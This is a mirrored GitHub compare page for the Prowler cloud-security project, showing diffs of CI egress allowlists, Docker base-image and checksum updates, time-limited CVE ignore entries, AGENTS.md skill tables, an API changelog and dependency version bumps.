mirror of
https://github.com/prowler-cloud/prowler.git
synced 2026-11-02 01:15:31 +00:00
Compare commits
73
Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
67aa941012 | ||
|
|
f64e5e10ad | ||
|
|
008864797b | ||
|
|
6999bbac9b | ||
|
|
2cc5c4b2f9 | ||
|
|
1a62d7d99a | ||
|
|
162996fa0a | ||
|
|
219304848d | ||
|
|
b036b8f42d | ||
|
|
cbece30d7b | ||
|
|
90e1d21db6 | ||
|
|
714d9283b0 | ||
|
|
8e83de67bc | ||
|
|
ca6ed48664 | ||
|
|
814ae54d6a | ||
|
|
53b7b24e2b | ||
|
|
e74a9a909e | ||
|
|
5a94fc798d | ||
|
|
78a5fa139f | ||
|
|
06a20bcc7c | ||
|
|
c0891591a3 | ||
|
|
4b80c69739 | ||
|
|
905c60fa85 | ||
|
|
dcd3d5a0fb | ||
|
|
75c9a6bf51 | ||
|
|
4eb468619f | ||
|
|
d7bffba4ac | ||
|
|
a5995e1438 | ||
|
|
1a30b374d6 | ||
|
|
d6ea8bf274 | ||
|
|
b4bbb64c6b | ||
|
|
fdb1bd6193 | ||
|
|
41a2bf605a | ||
|
|
63b8c8969c | ||
|
|
1ae3856de0 | ||
|
|
40758818c3 | ||
|
|
83152ae1a6 | ||
|
|
3bbd551f0f | ||
|
|
be01a97789 | ||
|
|
7ecb6aaefd | ||
|
|
75f81cc751 | ||
|
|
c724840e6a | ||
|
|
b52b8d3678 | ||
|
|
c533b47aeb | ||
|
|
669df91ac9 | ||
|
|
35d25a7218 | ||
|
|
819f5fd7a0 | ||
|
|
7d71220a25 | ||
|
|
69b80f6a3f | ||
|
|
f26b9776d4 | ||
|
|
54f2400aee | ||
|
|
8c5357b087 | ||
|
|
13202b8a70 | ||
|
|
680acf8b31 | ||
|
|
1468596b61 | ||
|
|
02c8881378 | ||
|
|
eae17a5e17 | ||
|
|
a59eae7b24 | ||
|
|
9a89dc4a4e | ||
|
|
1e2f8f3cf7 | ||
|
|
d9ace56e43 | ||
|
|
c0ce556ea1 | ||
|
|
34e0af33c2 | ||
|
|
6ee0dd9730 | ||
|
|
4980ded0ae | ||
|
|
4d922da2a6 | ||
|
|
76cde39b08 | ||
|
|
414dd64545 | ||
|
|
3654e5a810 | ||
|
|
7f9eb2cb11 | ||
|
|
ba0e78188b | ||
|
|
1783527c11 | ||
|
|
f46b86101a |
No files matched your search
@@ -1,6 +1,6 @@
|
||||
{
|
||||
"name": "prowler-plugins",
|
||||
"description": "Prowler Cloud Security for Claude Code",
|
||||
"description": "Prowler Cloud security and compliance for Claude",
|
||||
"owner": {
|
||||
"name": "Prowler",
|
||||
"email": "support@prowler.com"
|
||||
@@ -9,7 +9,7 @@
|
||||
{
|
||||
"name": "prowler",
|
||||
"source": "./claude_plugins/prowler",
|
||||
"description": "Prowler for Claude Code — cloud security and compliance skills powered by the Prowler MCP server. Bundles compliance triage and remediation; more skills coming.",
|
||||
"description": "Connect Claude to Prowler Cloud through the Prowler MCP server. Reads providers, scans, findings, compliance results and resources for AWS, Azure, GCP, Kubernetes, Microsoft 365, GitHub and the other providers listed at https://registry.prowler.com, and returns remediation guidance for failed checks. Writes are limited to Prowler Cloud itself: triggering scans, finding triage, mute rules and the mutelist, providers and integrations. Your cloud resources are not changed by the connector.",
|
||||
"category": "security",
|
||||
"homepage": "https://prowler.com"
|
||||
}
|
||||
|
||||
@@ -174,7 +174,7 @@ SENTRY_RELEASE=local
|
||||
# REO_DEV_CLIENT_ID=
|
||||
|
||||
#### Prowler release version ####
|
||||
NEXT_PUBLIC_PROWLER_RELEASE_VERSION=v5.46.0
|
||||
NEXT_PUBLIC_PROWLER_RELEASE_VERSION=v5.48.0
|
||||
|
||||
# Social login credentials
|
||||
SOCIAL_GOOGLE_OAUTH_CALLBACK_URL="${AUTH_URL}/api/auth/callback/google"
|
||||
|
||||
@@ -42,6 +42,7 @@ jobs:
|
||||
github.com:443
|
||||
pypi.org:443
|
||||
files.pythonhosted.org:443
|
||||
release-assets.githubusercontent.com:443
|
||||
api.github.com:443
|
||||
raw.githubusercontent.com:443
|
||||
|
||||
|
||||
@@ -81,6 +81,7 @@ jobs:
|
||||
auth.docker.io:443
|
||||
production.cloudflare.docker.com:443
|
||||
production.cloudfront.docker.com:443
|
||||
tuf-repo-cdn.sigstore.dev:443
|
||||
raw.githubusercontent.com:443
|
||||
objects.githubusercontent.com:443
|
||||
grype.anchore.io:443
|
||||
|
||||
@@ -85,6 +85,7 @@ jobs:
|
||||
github.com:443
|
||||
pypi.org:443
|
||||
files.pythonhosted.org:443
|
||||
release-assets.githubusercontent.com:443
|
||||
cli.codecov.io:443
|
||||
keybase.io:443
|
||||
raw.githubusercontent.com:443
|
||||
|
||||
@@ -77,6 +77,7 @@ jobs:
|
||||
auth.docker.io:443
|
||||
production.cloudflare.docker.com:443
|
||||
production.cloudfront.docker.com:443
|
||||
tuf-repo-cdn.sigstore.dev:443
|
||||
ghcr.io:443
|
||||
pkg-containers.githubusercontent.com:443
|
||||
files.pythonhosted.org:443
|
||||
|
||||
@@ -49,6 +49,7 @@ jobs:
|
||||
github.com:443
|
||||
pypi.org:443
|
||||
files.pythonhosted.org:443
|
||||
release-assets.githubusercontent.com:443
|
||||
cli.codecov.io:443
|
||||
keybase.io:443
|
||||
ingest.codecov.io:443
|
||||
|
||||
@@ -40,6 +40,7 @@ jobs:
|
||||
github.com:443
|
||||
pypi.org:443
|
||||
files.pythonhosted.org:443
|
||||
release-assets.githubusercontent.com:443
|
||||
|
||||
- name: Checkout repository
|
||||
uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd # v6.0.2
|
||||
|
||||
@@ -81,6 +81,7 @@ jobs:
|
||||
auth.docker.io:443
|
||||
production.cloudflare.docker.com:443
|
||||
production.cloudfront.docker.com:443
|
||||
tuf-repo-cdn.sigstore.dev:443
|
||||
api.github.com:443
|
||||
mirror.gcr.io:443
|
||||
check.trivy.dev:443
|
||||
|
||||
@@ -78,6 +78,7 @@ jobs:
|
||||
auth.docker.io:443
|
||||
production.cloudflare.docker.com:443
|
||||
production.cloudfront.docker.com:443
|
||||
tuf-repo-cdn.sigstore.dev:443
|
||||
registry.npmjs.org:443
|
||||
dl-cdn.alpinelinux.org:443
|
||||
fonts.googleapis.com:443
|
||||
|
||||
@@ -39,7 +39,10 @@ jobs:
|
||||
github.repository == 'prowler-cloud/prowler' &&
|
||||
(github.event_name != 'pull_request' || github.event.pull_request.head.repo.fork == false) &&
|
||||
(needs.impact-analysis.outputs.has-ui-e2e == 'true' || needs.impact-analysis.outputs.run-all == 'true')
|
||||
runs-on: ubuntu-latest
|
||||
# ubuntu-latest is moving to 26.04 (rollout began October 19, 2026; completion
|
||||
# targeted for November 19, 2026), where `playwright install` refuses to install
|
||||
# Chromium for the pinned Playwright. Stay on 24.04 until the suite upgrades.
|
||||
runs-on: ubuntu-24.04
|
||||
env:
|
||||
AUTH_SECRET: "fallback-ci-secret-for-testing"
|
||||
AUTH_TRUST_HOST: true
|
||||
@@ -391,6 +394,12 @@ jobs:
|
||||
working-directory: ./ui
|
||||
run: pnpm run test:e2e:registry
|
||||
|
||||
# A worker that crashes on import or a connection test that never resolves
|
||||
# only shows up here; Playwright just reports a missing footer button.
|
||||
- name: Dump API service logs
|
||||
if: failure()
|
||||
run: docker compose logs --no-color --tail=300 api worker worker-beat || true
|
||||
|
||||
- name: Upload test reports
|
||||
uses: actions/upload-artifact@bbbca2ddaa5d8feaa63e36b76fdaad77386f024f # v7.0.0
|
||||
if: failure()
|
||||
|
||||
@@ -21,7 +21,10 @@ permissions: {}
|
||||
|
||||
jobs:
|
||||
ui-tests:
|
||||
runs-on: ubuntu-latest
|
||||
# ubuntu-latest is moving to 26.04 (rollout began October 19, 2026; completion
|
||||
# targeted for November 19, 2026), where `playwright install` refuses to install
|
||||
# Chromium for the pinned Playwright. Stay on 24.04 until the suite upgrades.
|
||||
runs-on: ubuntu-24.04
|
||||
timeout-minutes: 20
|
||||
permissions:
|
||||
contents: read
|
||||
@@ -136,10 +139,6 @@ jobs:
|
||||
if: steps.check-changes.outputs.any_changed == 'true'
|
||||
run: pnpm run healthcheck
|
||||
|
||||
- name: Check product-tour alignment
|
||||
if: steps.check-changes.outputs.any_changed == 'true'
|
||||
run: pnpm run tour:check
|
||||
|
||||
- name: Run pnpm audit
|
||||
if: steps.check-changes.outputs.any_changed == 'true'
|
||||
run: pnpm run audit
|
||||
|
||||
+17
-9
@@ -80,17 +80,25 @@ ignore:
|
||||
package:
|
||||
name: python
|
||||
|
||||
# zlib in the Alpine base images of the UI (node:24.18.1-alpine) and MCP
|
||||
# (python:3.13.14-alpine3.23) containers. CVE-2026-85091 is a heap overflow in
|
||||
# gz_vacate() reached only through non-blocking gzwrite() followed by gzprintf() after
|
||||
# a write stall. Node links its own bundled zlib and the MCP server never writes gzip
|
||||
# files, so neither image calls that path. TEMPORARY: the 1.3.2-r1 fix is in the
|
||||
# Alpine index and could be taken with `apk add --upgrade`, but we wait for the base
|
||||
# images to ship it instead (the newest node:24-alpine and python:3.13-alpine3.23 still
|
||||
# carry 1.3.2-r0). Pinned to that version so the rule stops matching on its own once a
|
||||
# base image moves forward. Remove when the base digests are bumped, by 2026-11-07.
|
||||
# zlib in the Alpine base image of the MCP (python:3.13.16-alpine3.23) container.
|
||||
# CVE-2026-85091 is a heap overflow in gz_vacate() reached only through non-blocking
|
||||
# gzwrite() followed by gzprintf() after a write stall; the MCP server never writes
|
||||
# gzip files, so the image never calls that path. The UI image no longer needs this:
|
||||
# node:24.22.1-alpine is built on Alpine 3.24 and ships 1.3.2-r1. TEMPORARY: the fix
|
||||
# landed in the 3.23 index on 2026-10-06, two days after the pinned python image was
|
||||
# built, and could be taken with `apk add --upgrade`, but we wait for the base image
|
||||
# to ship it instead (python:3.13.17-alpine3.23, built 2026-10-22, already does).
|
||||
# Pinned to that version so the rule stops matching on its own once the base image
|
||||
# moves forward. Remove when the MCP digest is bumped, by 2026-11-07.
|
||||
# https://security.alpinelinux.org/vuln/CVE-2026-85091
|
||||
- vulnerability: CVE-2026-85091
|
||||
package:
|
||||
name: zlib
|
||||
version: 1.3.2-r0
|
||||
|
||||
# Documented in .trivyignore.yaml: go-jose 4.1.5 compiled into the Trivy binary (0.76.1,
|
||||
# the latest release). Pinned to 4.1.5 so it stops matching with the next Trivy bump.
|
||||
- vulnerability: CVE-2026-116587
|
||||
package:
|
||||
name: github.com/go-jose/go-jose/v4
|
||||
version: v4.1.5
|
||||
@@ -197,6 +197,25 @@ vulnerabilities:
|
||||
purls:
|
||||
- "pkg:npm/%40modelcontextprotocol%2Fsdk@1.27.1"
|
||||
expired_at: 2027-01-31
|
||||
# Two more SDK declarations and follow-redirects 1.16.0 from the same manifest. The SDK
|
||||
# entries stay pinned to 1.27.1 for the reason above. No lock in this repo lists
|
||||
# follow-redirects, so its pin only keeps a future real dependency from being hidden.
|
||||
- id: CVE-2026-111767
|
||||
purls:
|
||||
- "pkg:npm/%40modelcontextprotocol%2Fsdk@1.27.1"
|
||||
expired_at: 2027-01-31
|
||||
- id: CVE-2026-111768
|
||||
purls:
|
||||
- "pkg:npm/%40modelcontextprotocol%2Fsdk@1.27.1"
|
||||
expired_at: 2027-01-31
|
||||
- id: CVE-2026-111755
|
||||
purls:
|
||||
- "pkg:npm/follow-redirects@1.16.0"
|
||||
expired_at: 2027-01-31
|
||||
- id: CVE-2026-111756
|
||||
purls:
|
||||
- "pkg:npm/follow-redirects@1.16.0"
|
||||
expired_at: 2027-01-31
|
||||
|
||||
# Unlike the manifest entries above, this DLL ships in the image:
|
||||
# ExchangeOnlineManagement/3.10.1/netCore/System.Security.Cryptography.Pkcs.dll. It is a
|
||||
@@ -207,3 +226,11 @@ vulnerabilities:
|
||||
purls:
|
||||
- "pkg:nuget/System.Security.Cryptography.Pkcs@10.0.0"
|
||||
expired_at: 2026-12-15
|
||||
|
||||
# go-jose 4.1.5 is compiled into the Trivy binary (usr/local/bin/trivy). Trivy merged the
|
||||
# 4.1.6 bump upstream (aquasecurity/trivy#11488) but 0.76.1 is still the latest release.
|
||||
# Bump TRIVY_VERSION and drop this entry once a release ships it.
|
||||
- id: CVE-2026-116587
|
||||
purls:
|
||||
- "pkg:golang/github.com/go-jose/go-jose/v4@v4.1.5"
|
||||
expired_at: 2026-11-20
|
||||
@@ -51,7 +51,6 @@ Use these skills for detailed patterns on-demand:
|
||||
| `django-migration-psql` | Django migration best practices for PostgreSQL | [SKILL.md](skills/django-migration-psql/SKILL.md) |
|
||||
| `postgresql-indexing` | PostgreSQL indexing, EXPLAIN, monitoring, maintenance | [SKILL.md](skills/postgresql-indexing/SKILL.md) |
|
||||
| `prowler-attack-paths-query` | Create Attack Paths openCypher queries | [SKILL.md](skills/prowler-attack-paths-query/SKILL.md) |
|
||||
| `prowler-tour` | Keep product-tour definitions aligned with the UI | [SKILL.md](skills/prowler-tour/SKILL.md) |
|
||||
| `gh-aw` | GitHub Agentic Workflows (gh-aw) | [SKILL.md](skills/gh-aw/SKILL.md) |
|
||||
| `skill-creator` | Create new AI agent skills | [SKILL.md](skills/skill-creator/SKILL.md) |
|
||||
|
||||
@@ -69,12 +68,10 @@ When performing these actions, ALWAYS invoke the corresponding skill FIRST:
|
||||
| Adding new providers | `prowler-provider` |
|
||||
| Adding privilege escalation detection queries | `prowler-attack-paths-query` |
|
||||
| Adding services to existing providers | `prowler-provider` |
|
||||
| Adding, updating, or removing a tour definition (*.tour.ts) | `prowler-tour` |
|
||||
| After creating/modifying a skill | `skill-sync` |
|
||||
| App Router / Server Actions | `nextjs-16` |
|
||||
| Auditing check-to-requirement mappings as a cloud auditor | `prowler-compliance` |
|
||||
| Building AI chat features | `ai-sdk-5` |
|
||||
| Changing button labels or section headings on a tour-covered page | `prowler-tour` |
|
||||
| Committing changes | `prowler-commit` |
|
||||
| Configuring MCP servers in agentic workflows | `gh-aw` |
|
||||
| Create PR that requires changelog entry | `prowler-changelog` |
|
||||
@@ -94,7 +91,6 @@ When performing these actions, ALWAYS invoke the corresponding skill FIRST:
|
||||
| Creating/updating compliance frameworks | `prowler-compliance` |
|
||||
| Debug why a GitHub Actions job is failing | `prowler-ci` |
|
||||
| Debugging gh-aw compilation errors | `gh-aw` |
|
||||
| Editing a UI file containing data-tour-id attributes | `prowler-tour` |
|
||||
| Fill .github/pull_request_template.md (Context/Description/Steps to review/Checklist) | `prowler-pr` |
|
||||
| Fixing bug | `tdd` |
|
||||
| Fixing compliance JSON bugs (duplicate IDs, empty Section, stale refs) | `prowler-compliance` |
|
||||
@@ -111,8 +107,6 @@ When performing these actions, ALWAYS invoke the corresponding skill FIRST:
|
||||
| Modifying gh-aw workflow frontmatter or safe-outputs | `gh-aw` |
|
||||
| Refactoring code | `tdd` |
|
||||
| Regenerate AGENTS.md Auto-invoke tables (sync.sh) | `skill-sync` |
|
||||
| Renaming or removing a data-tour-id attribute value | `prowler-tour` |
|
||||
| Restructuring routes or layouts covered by a tour | `prowler-tour` |
|
||||
| Review PR requirements: template, title conventions, changelog gate | `prowler-pr` |
|
||||
| Review changelog format and conventions | `prowler-changelog` |
|
||||
| Reviewing JSON:API compliance | `jsonapi` |
|
||||
|
||||
+11
-8
@@ -1,4 +1,4 @@
|
||||
FROM python:3.12.15-slim-trixie@sha256:05cda9777409a9c3ffddd94a4c476b79f0769a0b4857f0c7ed9226b6800b0d6f AS build
|
||||
FROM python:3.12.16-slim-trixie@sha256:8523d6abeb48ceae0b7240d30c5808fc26cb79c1a635bacdf19cf3baecfbec07 AS build
|
||||
|
||||
LABEL maintainer="https://github.com/prowler-cloud/prowler"
|
||||
LABEL org.opencontainers.image.source="https://github.com/prowler-cloud/prowler"
|
||||
@@ -8,15 +8,15 @@ ENV POWERSHELL_VERSION=${POWERSHELL_VERSION}
|
||||
# Opt out of PowerShell telemetry (Application Insights -> dc.services.visualstudio.com)
|
||||
ENV POWERSHELL_TELEMETRY_OPTOUT=1
|
||||
|
||||
ARG TRIVY_VERSION=0.76.0
|
||||
ARG TRIVY_VERSION=0.76.1
|
||||
ENV TRIVY_VERSION=${TRIVY_VERSION}
|
||||
|
||||
ARG ZIZMOR_VERSION=1.24.1
|
||||
ENV ZIZMOR_VERSION=${ZIZMOR_VERSION}
|
||||
|
||||
# Pinned here, not fetched with the artefact: a compromised release ships its own checksum.
|
||||
ARG TRIVY_SHA256_AMD64=e24b1c51293c1b15e4ba8d45bbc7891ba053f90278ec2698f3562c993e145fe7
|
||||
ARG TRIVY_SHA256_ARM64=aab21e677a7b7071fc79f1711480840754c18a1b9d9cefa7ccd06af63a0e8f4c
|
||||
ARG TRIVY_SHA256_AMD64=c7cbe3137fb8a48a17574bede3dd6beb16742d1e9772929940fc90082c39d9c0
|
||||
ARG TRIVY_SHA256_ARM64=e174dff2a6dba5e3ae41f8d0537a6324405bd08132497340304c6b20e0f16a1f
|
||||
ARG POWERSHELL_SHA256_AMD64=db85ae1f45005ffd20e456890585167257151fa99406ccd7ab344f7cf3a766fd
|
||||
ARG POWERSHELL_SHA256_ARM64=29eb382cd510e4bd246902650ff6cf9f3b56f959d1bd0be75e0a1e425177c831
|
||||
ARG ZIZMOR_SHA256_AMD64=a8000f3c683319a523d3b20df0e75457ba591f049cfcbfa98966631b56733c03
|
||||
@@ -30,6 +30,7 @@ ARG ZIZMOR_SHA256_ARM64=d66e37ef8a375fb07939c630ebf9709a6e0f20242bdc3faf672a7ed9
|
||||
# perl-base 5.40.1-6+deb13u1 CVE-2026-42497, -48962, -57432
|
||||
# libssh2-1t64 1.11.1-1+deb13u2 CVE-2026-58050
|
||||
# libpcre2-8-0 10.46-1~deb13u2 CVE-2026-86145, -89161
|
||||
# libbrotli1 1.1.0-2+deb13u1 CVE-2026-111497
|
||||
# Taken as a targeted --only-upgrade rather than by moving the digest: the newest
|
||||
# published python:3.12-slim-trixie carries the same vulnerable versions. The three
|
||||
# openssl packages are flagged separately, so all are named.
|
||||
@@ -40,7 +41,7 @@ RUN apt-get update && apt-get install -y --no-install-recommends \
|
||||
build-essential pkg-config libzstd-dev zlib1g-dev \
|
||||
&& apt-get install -y --no-install-recommends --only-upgrade \
|
||||
util-linux libssl3t64 openssl openssl-provider-legacy \
|
||||
libsqlite3-0 gzip perl-base libssh2-1t64 libpcre2-8-0 \
|
||||
libsqlite3-0 gzip perl-base libssh2-1t64 libpcre2-8-0 libbrotli1 \
|
||||
&& rm -rf /var/lib/apt/lists/*
|
||||
|
||||
# Install PowerShell
|
||||
@@ -121,13 +122,15 @@ ENV HOME='/home/prowler'
|
||||
ENV PATH="${HOME}/.local/bin:${PATH}"
|
||||
#hadolint ignore=DL3013
|
||||
RUN pip install --no-cache-dir --upgrade pip && \
|
||||
pip install --no-cache-dir uv==0.12.0
|
||||
pip install --no-cache-dir uv==0.13.4
|
||||
|
||||
RUN uv sync --locked --compile-bytecode && \
|
||||
rm -rf ~/.cache/uv
|
||||
|
||||
# Install PowerShell modules
|
||||
RUN .venv/bin/python prowler/providers/m365/lib/powershell/m365_powershell.py
|
||||
# Install PowerShell modules. Drop the MicrosoftTeams build SBOM: Trivy reports the npm
|
||||
# tooling it declares as installed, though none ships (see .trivyignore.yaml).
|
||||
RUN .venv/bin/python prowler/providers/m365/lib/powershell/m365_powershell.py && \
|
||||
rm -rf "${HOME}"/.local/share/powershell/Modules/MicrosoftTeams/*/_manifest
|
||||
|
||||
USER root
|
||||
|
||||
|
||||
@@ -4,6 +4,33 @@ All notable changes to the **Prowler API** are documented in this file.
|
||||
|
||||
<!-- changelog: release notes start -->
|
||||
|
||||
## [1.48.0] (Prowler v5.47.0)
|
||||
|
||||
### 🔐 Security
|
||||
|
||||
- pymongo to 4.18.3, dnspython to 2.9.0 and oauthlib to 4.0.0 in the API container image, with django-allauth from 65.15.0 to 65.19.7 because earlier releases cap oauthlib below 4, patching the BSON decoding and DNS compression pointer denial of service advisories and the OAuth device flow token disclosure [(#13185)](https://github.com/prowler-cloud/prowler/pull/13185)
|
||||
|
||||
---
|
||||
|
||||
## [1.47.0] (Prowler v5.46.0)
|
||||
|
||||
### 🐞 Fixed
|
||||
|
||||
- Compliance report PDF cover table wraps every value, so long account IDs such as OCI tenancy OCIDs no longer overflow their cell [(#13063)](https://github.com/prowler-cloud/prowler/pull/13063)
|
||||
- Scan ingestion compares the serialized resource metadata with the stored value and serializes sets in a stable order, so unchanged resources no longer get their metadata, details and updated_at rewritten on every scan [(#13148)](https://github.com/prowler-cloud/prowler/pull/13148)
|
||||
- Report generation shares the parsed resource metadata between the findings of a batch and releases each batch before building the next one [(#13149)](https://github.com/prowler-cloud/prowler/pull/13149)
|
||||
|
||||
### 🔐 Security
|
||||
|
||||
- `GET /resources/metadata`, `GET /resources/metadata/latest`, `GET /findings/metadata` and `GET /findings/metadata/latest` now honour the provider groups of the caller role instead of aggregating every provider in the tenant [(#12964)](https://github.com/prowler-cloud/prowler/pull/12964)
|
||||
- Trivy from 0.75.0 to 0.76.0 in the API container image, built with Go 1.27.2 and x/net 0.60.0, patching the HTTP/2 and TLS CVEs bundled in Trivy 0.75.0 [(#13064)](https://github.com/prowler-cloud/prowler/pull/13064)
|
||||
- Pillow from 12.3.0 to 13.0.0, certifi to 2026.10.19, aiohttp to 3.14.5 with yarl 1.25.1, uv to 0.13.4 and Trivy to 0.76.1 in the API container image, patching the Pillow JPEG decoder heap overflow, the compromised emSign root CAs bundled in certifi and uv, the aiohttp resource exhaustion advisories and the Go 1.27.2 stdlib CVE in the Trivy binary [(#13107)](https://github.com/prowler-cloud/prowler/pull/13107)
|
||||
- Attack Paths custom queries strip block comments before the blocked-operation check and drop APOC virtual nodes and relationships from results, so `LOAD CSV` can no longer be split with a comment nor its response returned under a forged provider label [(#13120)](https://github.com/prowler-cloud/prowler/pull/13120)
|
||||
- SAML SSO configuration endpoints require the `manage_account` permission instead of `manage_integrations`, since the configured IdP controls who signs in and which role they receive [(#13121)](https://github.com/prowler-cloud/prowler/pull/13121)
|
||||
- djangorestframework from 3.15.2 to 3.18.3 in the API, patching the JSON parser charset and Accept header denial of service and the TokenProxy revocation bypass, and the API container image no longer ships the MicrosoftTeams build SBOM that Trivy read as installed zod and body-parser [(#13157)](https://github.com/prowler-cloud/prowler/pull/13157)
|
||||
|
||||
---
|
||||
|
||||
## [1.46.0] (Prowler v5.45.0)
|
||||
|
||||
### 🐞 Fixed
|
||||
|
||||
+9
-7
@@ -1,4 +1,4 @@
|
||||
FROM python:3.12.15-slim-trixie@sha256:05cda9777409a9c3ffddd94a4c476b79f0769a0b4857f0c7ed9226b6800b0d6f AS build
|
||||
FROM python:3.12.16-slim-trixie@sha256:8523d6abeb48ceae0b7240d30c5808fc26cb79c1a635bacdf19cf3baecfbec07 AS build
|
||||
|
||||
LABEL maintainer="https://github.com/prowler-cloud/api"
|
||||
|
||||
@@ -7,15 +7,15 @@ ENV POWERSHELL_VERSION=${POWERSHELL_VERSION}
|
||||
# Opt out of PowerShell telemetry (Application Insights -> dc.services.visualstudio.com)
|
||||
ENV POWERSHELL_TELEMETRY_OPTOUT=1
|
||||
|
||||
ARG TRIVY_VERSION=0.76.0
|
||||
ARG TRIVY_VERSION=0.76.1
|
||||
ENV TRIVY_VERSION=${TRIVY_VERSION}
|
||||
|
||||
ARG ZIZMOR_VERSION=1.24.1
|
||||
ENV ZIZMOR_VERSION=${ZIZMOR_VERSION}
|
||||
|
||||
# Pinned here, not fetched with the artefact: a compromised release ships its own checksum.
|
||||
ARG TRIVY_SHA256_AMD64=e24b1c51293c1b15e4ba8d45bbc7891ba053f90278ec2698f3562c993e145fe7
|
||||
ARG TRIVY_SHA256_ARM64=aab21e677a7b7071fc79f1711480840754c18a1b9d9cefa7ccd06af63a0e8f4c
|
||||
ARG TRIVY_SHA256_AMD64=c7cbe3137fb8a48a17574bede3dd6beb16742d1e9772929940fc90082c39d9c0
|
||||
ARG TRIVY_SHA256_ARM64=e174dff2a6dba5e3ae41f8d0537a6324405bd08132497340304c6b20e0f16a1f
|
||||
ARG POWERSHELL_SHA256_AMD64=db85ae1f45005ffd20e456890585167257151fa99406ccd7ab344f7cf3a766fd
|
||||
ARG POWERSHELL_SHA256_ARM64=29eb382cd510e4bd246902650ff6cf9f3b56f959d1bd0be75e0a1e425177c831
|
||||
ARG ZIZMOR_SHA256_AMD64=a8000f3c683319a523d3b20df0e75457ba591f049cfcbfa98966631b56733c03
|
||||
@@ -125,7 +125,7 @@ RUN mkdir -p /tmp/prowler_api_output
|
||||
COPY --chown=prowler:prowler pyproject.toml uv.lock ./
|
||||
|
||||
RUN pip install --no-cache-dir --upgrade pip && \
|
||||
pip install --no-cache-dir uv==0.12.0
|
||||
pip install --no-cache-dir uv==0.13.4
|
||||
|
||||
ENV PATH="/home/prowler/.local/bin:$PATH"
|
||||
|
||||
@@ -134,8 +134,10 @@ RUN uv sync --locked --no-install-project && \
|
||||
rm -rf ~/.cache/uv
|
||||
|
||||
# Invoked as a module so the base image's Python minor version is not baked
|
||||
# into a site-packages path.
|
||||
RUN .venv/bin/python -m prowler.providers.m365.lib.powershell.m365_powershell
|
||||
# into a site-packages path. Drop the MicrosoftTeams build SBOM: Trivy reports the npm
|
||||
# tooling it declares as installed, though none ships (see .trivyignore.yaml).
|
||||
RUN .venv/bin/python -m prowler.providers.m365.lib.powershell.m365_powershell && \
|
||||
rm -rf /home/prowler/.local/share/powershell/Modules/MicrosoftTeams/*/_manifest
|
||||
|
||||
USER root
|
||||
|
||||
|
||||
@@ -1 +0,0 @@
|
||||
Trivy from 0.75.0 to 0.76.0 in the API container image, built with Go 1.27.2 and x/net 0.60.0, patching the HTTP/2 and TLS CVEs bundled in Trivy 0.75.0
|
||||
@@ -0,0 +1 @@
|
||||
Python base image from 3.12.15 to 3.12.16 in the API container image, patching CVE-2026-115557
|
||||
@@ -1 +0,0 @@
|
||||
Compliance report PDF cover table wraps every value, so long account IDs such as OCI tenancy OCIDs no longer overflow their cell
|
||||
+12
-12
@@ -26,7 +26,7 @@ dependencies = [
|
||||
"celery (==5.6.2)",
|
||||
"dj-rest-auth[with_social,jwt] (==7.0.1)",
|
||||
"django (==5.2.17)",
|
||||
"django-allauth[saml] (==65.15.0)",
|
||||
"django-allauth[saml] (==65.19.7)",
|
||||
"django-celery-beat (==2.9.0)",
|
||||
"django-celery-results (==2.6.0)",
|
||||
"django-cors-headers==4.4.0",
|
||||
@@ -34,7 +34,7 @@ dependencies = [
|
||||
"django-filter==24.3",
|
||||
"django-guid==3.5.0",
|
||||
"django-postgres-extra (==2.0.9)",
|
||||
"djangorestframework==3.15.2",
|
||||
"djangorestframework==3.18.3",
|
||||
"djangorestframework-jsonapi==7.0.2",
|
||||
"djangorestframework-simplejwt (==5.5.1)",
|
||||
"drf-nested-routers (==0.95.0)",
|
||||
@@ -71,7 +71,7 @@ name = "prowler-api"
|
||||
package-mode = false
|
||||
# Needed for the SDK compatibility
|
||||
requires-python = ">=3.11,<3.13"
|
||||
version = "1.47.0"
|
||||
version = "1.49.0"
|
||||
|
||||
# Shared ruff baseline (kept in sync with mcp_server/pyproject.toml).
|
||||
# target-version tracks this project's lowest supported Python.
|
||||
@@ -100,7 +100,7 @@ constraint-dependencies = [
|
||||
"aiobotocore==2.25.1",
|
||||
"aiofiles==24.1.0",
|
||||
"aiohappyeyeballs==2.6.1",
|
||||
"aiohttp==3.14.3",
|
||||
"aiohttp==3.14.5",
|
||||
"aioitertools==0.13.0",
|
||||
"aiosignal==1.4.0",
|
||||
"alibabacloud-actiontrail20200706==2.4.1",
|
||||
@@ -196,7 +196,7 @@ constraint-dependencies = [
|
||||
"botocore==1.40.61",
|
||||
"cartography==0.138.1",
|
||||
"celery==5.6.2",
|
||||
"certifi==2026.1.4",
|
||||
"certifi==2026.10.19",
|
||||
"cffi==2.0.0",
|
||||
"charset-normalizer==3.4.4",
|
||||
"circuitbreaker==2.1.3",
|
||||
@@ -223,7 +223,7 @@ constraint-dependencies = [
|
||||
"distro==1.9.0",
|
||||
"dj-rest-auth==7.0.1",
|
||||
"django==5.2.17",
|
||||
"django-allauth==65.15.0",
|
||||
"django-allauth==65.19.7",
|
||||
"django-celery-beat==2.9.0",
|
||||
"django-celery-results==2.6.0",
|
||||
"django-cors-headers==4.4.0",
|
||||
@@ -234,10 +234,10 @@ constraint-dependencies = [
|
||||
"django-postgres-extra==2.0.9",
|
||||
"django-silk==5.3.2",
|
||||
"django-timezone-field==7.2.1",
|
||||
"djangorestframework==3.15.2",
|
||||
"djangorestframework==3.18.3",
|
||||
"djangorestframework-jsonapi==7.0.2",
|
||||
"djangorestframework-simplejwt==5.5.1",
|
||||
"dnspython==2.8.0",
|
||||
"dnspython==2.9.0",
|
||||
"docker==7.1.0",
|
||||
"dogpile-cache==1.5.0",
|
||||
"dparse==0.6.4",
|
||||
@@ -337,7 +337,7 @@ constraint-dependencies = [
|
||||
"nest-asyncio==1.6.0",
|
||||
"nltk==3.9.4",
|
||||
"numpy==2.2.6",
|
||||
"oauthlib==3.3.1",
|
||||
"oauthlib==4.0.0",
|
||||
"oci==2.184.1",
|
||||
"openai==1.109.1",
|
||||
"openstacksdk==4.2.0",
|
||||
@@ -350,7 +350,7 @@ constraint-dependencies = [
|
||||
"pagerduty==6.1.0",
|
||||
"pandas==2.2.3",
|
||||
"pbr==7.0.3",
|
||||
"pillow==12.3.0",
|
||||
"pillow==13.0.0",
|
||||
"pkginfo==1.12.1.2",
|
||||
"platformdirs==4.5.1",
|
||||
"plotly==6.5.2",
|
||||
@@ -453,7 +453,7 @@ constraint-dependencies = [
|
||||
"xlsxwriter==3.2.9",
|
||||
"xmlsec==1.3.17",
|
||||
